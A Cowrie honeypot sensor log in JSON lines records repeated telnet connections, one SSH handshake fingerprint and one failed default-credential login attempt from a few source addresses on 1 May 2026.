{"eventid":"cowrie.session.closed","duration":30.867525339126587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:52.101996Z","src_ip":"152.53.125.71","session":"27ee328dfd4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44010,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8bcd511c8b6","protocol":"telnet","message":"New connection: 159.203.13.64:44010 (10.17.0.5:23) [session: a8bcd511c8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:53.147141Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43570,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b5944bd583b","protocol":"telnet","message":"New connection: 152.53.125.71:43570 (10.17.0.5:23) [session: 6b5944bd583b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:53.305784Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43574,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d8d573bec91","protocol":"telnet","message":"New connection: 152.53.125.71:43574 (10.17.0.5:23) [session: 4d8d573bec91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:53.340464Z"}
{"eventid":"cowrie.session.closed","duration":31.228550672531128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:53.491735Z","src_ip":"152.53.125.71","session":"97a98405328e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43580,"dst_ip":"10.17.0.5","dst_port":23,"session":"87f21a26d592","protocol":"telnet","message":"New connection: 152.53.125.71:43580 (10.17.0.5:23) [session: 87f21a26d592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:53.516224Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44022,"dst_ip":"10.17.0.5","dst_port":23,"session":"8036cf8c4b9a","protocol":"telnet","message":"New connection: 159.203.13.64:44022 (10.17.0.5:23) [session: 8036cf8c4b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:53.842787Z"}
{"eventid":"cowrie.session.closed","duration":30.790099382400513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:54.156785Z","src_ip":"152.53.125.71","session":"5d9e53d89dcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.951375722885132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:54.377567Z","src_ip":"152.53.125.71","session":"b85f0e092313","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885878086090088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:54.458359Z","src_ip":"152.53.125.71","session":"09d77f2c5dae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801504611968994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:55.114175Z","src_ip":"152.53.125.71","session":"1ba09c22328f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9244704246521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:55.164116Z","src_ip":"152.53.125.71","session":"5c960056938c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42050,"dst_ip":"10.17.0.5","dst_port":23,"session":"aea094b3e33c","protocol":"telnet","message":"New connection: 152.53.125.71:42050 (10.17.0.5:23) [session: aea094b3e33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:55.337928Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42056,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e92ba5fa851","protocol":"telnet","message":"New connection: 152.53.125.71:42056 (10.17.0.5:23) [session: 5e92ba5fa851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:55.387871Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44028,"dst_ip":"10.17.0.5","dst_port":23,"session":"a153ae16dd7d","protocol":"telnet","message":"New connection: 159.203.13.64:44028 (10.17.0.5:23) [session: a153ae16dd7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:56.185638Z"}
{"eventid":"cowrie.session.closed","duration":30.872037172317505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:56.320488Z","src_ip":"152.53.125.71","session":"1cb23bbe89f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42060,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e3d7d1f2589","protocol":"telnet","message":"New connection: 152.53.125.71:42060 (10.17.0.5:23) [session: 8e3d7d1f2589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:56.405328Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42072,"dst_ip":"10.17.0.5","dst_port":23,"session":"420598c43be9","protocol":"telnet","message":"New connection: 152.53.125.71:42072 (10.17.0.5:23) [session: 420598c43be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:56.455489Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42086,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e4f5e13845","protocol":"telnet","message":"New connection: 152.53.125.71:42086 (10.17.0.5:23) [session: 14e4f5e13845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:56.505972Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42088,"dst_ip":"10.17.0.5","dst_port":23,"session":"537625e4fca1","protocol":"telnet","message":"New connection: 152.53.125.71:42088 (10.17.0.5:23) [session: 537625e4fca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:56.663457Z"}
{"eventid":"cowrie.session.closed","duration":34.23502492904663,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.212285Z","src_ip":"80.252.221.197","session":"074e6344b9f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89784574508667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.249015Z","src_ip":"152.53.125.71","session":"256b77f182aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42096,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7498aa0515","protocol":"telnet","message":"New connection: 152.53.125.71:42096 (10.17.0.5:23) [session: 8f7498aa0515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.313583Z"}
{"eventid":"cowrie.session.closed","duration":39.710288286209106,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.416918Z","src_ip":"159.203.13.64","session":"6b5dc2b68f2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195711612701416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.428305Z","src_ip":"152.53.125.71","session":"51e126e50d74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973187923431396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.498449Z","src_ip":"152.53.125.71","session":"49e88e3d1de1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93319869041443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.510081Z","src_ip":"152.53.125.71","session":"a9c4707d0a0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42104,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68d0852e917","protocol":"telnet","message":"New connection: 152.53.125.71:42104 (10.17.0.5:23) [session: a68d0852e917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.565143Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44042,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b47908038fa","protocol":"telnet","message":"New connection: 159.203.13.64:44042 (10.17.0.5:23) [session: 5b47908038fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.577270Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42116,"dst_ip":"10.17.0.5","dst_port":23,"session":"02543275b54c","protocol":"telnet","message":"New connection: 152.53.125.71:42116 (10.17.0.5:23) [session: 02543275b54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:57.642260Z"}
{"eventid":"cowrie.session.closed","duration":30.734004497528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:58.067088Z","src_ip":"152.53.125.71","session":"5911d43c6baa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55425524711609,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:58.071040Z","src_ip":"152.53.125.71","session":"ccf49f3cd114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42126,"dst_ip":"10.17.0.5","dst_port":23,"session":"912730beb993","protocol":"telnet","message":"New connection: 152.53.125.71:42126 (10.17.0.5:23) [session: 912730beb993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:58.277006Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42136,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3610a684de1","protocol":"telnet","message":"New connection: 152.53.125.71:42136 (10.17.0.5:23) [session: d3610a684de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:58.412249Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42152,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c1ffa9a5c18","protocol":"telnet","message":"New connection: 152.53.125.71:42152 (10.17.0.5:23) [session: 6c1ffa9a5c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:58.488641Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42154,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a3e77ff2b7","protocol":"telnet","message":"New connection: 152.53.125.71:42154 (10.17.0.5:23) [session: d6a3e77ff2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:59.366803Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57578,"dst_ip":"159.203.135.109","dst_port":22,"session":"a40506d2861e","protocol":"ssh","message":"New connection: 159.203.92.129:57578 (159.203.135.109:22) [session: a40506d2861e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:00.280129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:00.286697Z","src_ip":"159.203.92.129","session":"a40506d2861e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:00.294811Z","src_ip":"159.203.92.129","session":"a40506d2861e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"altibase","password":"123456","message":"login attempt [altibase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:00.321542Z","src_ip":"159.203.92.129","session":"a40506d2861e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42170,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0d3bedc0680","protocol":"telnet","message":"New connection: 152.53.125.71:42170 (10.17.0.5:23) [session: c0d3bedc0680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:00.618202Z"}
{"eventid":"cowrie.session.closed","duration":30.7699933052063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:01.297363Z","src_ip":"152.53.125.71","session":"3da4879888c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:01.332055Z","src_ip":"159.203.92.129","session":"a40506d2861e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.68772053718567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:02.202020Z","src_ip":"152.53.125.71","session":"dca405905192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42178,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab5bc2846f25","protocol":"telnet","message":"New connection: 152.53.125.71:42178 (10.17.0.5:23) [session: ab5bc2846f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:02.341980Z"}
{"eventid":"cowrie.session.closed","duration":31.08016538619995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:02.453307Z","src_ip":"152.53.125.71","session":"3e14585fc08a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42180,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a7ca009b2fb","protocol":"telnet","message":"New connection: 152.53.125.71:42180 (10.17.0.5:23) [session: 2a7ca009b2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:02.521354Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42190,"dst_ip":"10.17.0.5","dst_port":23,"session":"b67cfcefcd4d","protocol":"telnet","message":"New connection: 152.53.125.71:42190 (10.17.0.5:23) [session: b67cfcefcd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:02.580738Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42204,"dst_ip":"10.17.0.5","dst_port":23,"session":"88cf32177f65","protocol":"telnet","message":"New connection: 152.53.125.71:42204 (10.17.0.5:23) [session: 88cf32177f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:02.610997Z"}
{"eventid":"cowrie.session.closed","duration":31.106300115585327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:03.211952Z","src_ip":"37.97.152.182","session":"91ffc40ab808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187653064727783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:03.418407Z","src_ip":"152.53.125.71","session":"382af1a2df31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42214,"dst_ip":"10.17.0.5","dst_port":23,"session":"f46c9ea82f70","protocol":"telnet","message":"New connection: 152.53.125.71:42214 (10.17.0.5:23) [session: f46c9ea82f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:03.482160Z"}
{"eventid":"cowrie.session.closed","duration":31.03355312347412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:03.499336Z","src_ip":"152.53.125.71","session":"638cc8274796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60735058784485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:03.919146Z","src_ip":"152.53.125.71","session":"334f36a72a76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85197639465332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:04.101256Z","src_ip":"152.53.125.71","session":"9333c57415cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512782335281372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:04.218188Z","src_ip":"152.53.125.71","session":"3bbbe61e4948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805499792099,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:04.250951Z","src_ip":"152.53.125.71","session":"4f16fe6a81a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42216,"dst_ip":"10.17.0.5","dst_port":23,"session":"40801d0f7adb","protocol":"telnet","message":"New connection: 152.53.125.71:42216 (10.17.0.5:23) [session: 40801d0f7adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:04.276628Z"}
{"eventid":"cowrie.session.closed","duration":30.867766857147217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:04.357759Z","src_ip":"152.53.125.71","session":"639a7f6370d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":42220,"dst_ip":"10.17.0.5","dst_port":23,"session":"151e66065aa2","protocol":"telnet","message":"New connection: 152.53.125.71:42220 (10.17.0.5:23) [session: 151e66065aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:04.410208Z"}
{"eventid":"cowrie.session.closed","duration":31.260278701782227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:04.548746Z","src_ip":"152.53.125.71","session":"b3852e0045fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55634,"dst_ip":"10.17.0.5","dst_port":23,"session":"674d67b3c4a6","protocol":"telnet","message":"New connection: 152.53.125.71:55634 (10.17.0.5:23) [session: 674d67b3c4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:05.265706Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55642,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b4b9b47a062","protocol":"telnet","message":"New connection: 152.53.125.71:55642 (10.17.0.5:23) [session: 9b4b9b47a062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:05.288773Z"}
{"eventid":"cowrie.session.closed","duration":30.771134853363037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:05.340354Z","src_ip":"152.53.125.71","session":"447df7246ccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02475595474243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:05.389013Z","src_ip":"152.53.125.71","session":"1bedb28ba823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839982509613037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:05.464706Z","src_ip":"152.53.125.71","session":"9cf25fa52601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55654,"dst_ip":"10.17.0.5","dst_port":23,"session":"8197b477bc72","protocol":"telnet","message":"New connection: 152.53.125.71:55654 (10.17.0.5:23) [session: 8197b477bc72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:05.541950Z"}
{"eventid":"cowrie.session.closed","duration":36.27023649215698,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:05.752125Z","src_ip":"80.252.221.197","session":"47872ee3bc8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":36112,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e6ea59a1a6","protocol":"telnet","message":"New connection: 37.97.152.182:36112 (10.17.0.5:23) [session: 94e6ea59a1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:05.757411Z"}
{"eventid":"cowrie.session.closed","duration":30.571332216262817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:06.109574Z","src_ip":"152.53.125.71","session":"796fdb5cf522","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.08792304992676,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:06.247776Z","src_ip":"159.203.13.64","session":"67d6235a1d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55668,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dc069ea87e5","protocol":"telnet","message":"New connection: 152.53.125.71:55668 (10.17.0.5:23) [session: 4dc069ea87e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:06.328190Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55674,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbebc0f2fa31","protocol":"telnet","message":"New connection: 152.53.125.71:55674 (10.17.0.5:23) [session: fbebc0f2fa31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:06.425447Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55684,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c685c71dbe","protocol":"telnet","message":"New connection: 152.53.125.71:55684 (10.17.0.5:23) [session: d5c685c71dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:06.496504Z"}
{"eventid":"cowrie.session.closed","duration":30.882837295532227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:07.120595Z","src_ip":"152.53.125.71","session":"1b66b5d1a10f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554023027420044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:07.161062Z","src_ip":"152.53.125.71","session":"de88631928ff","protocol":"telnet"}
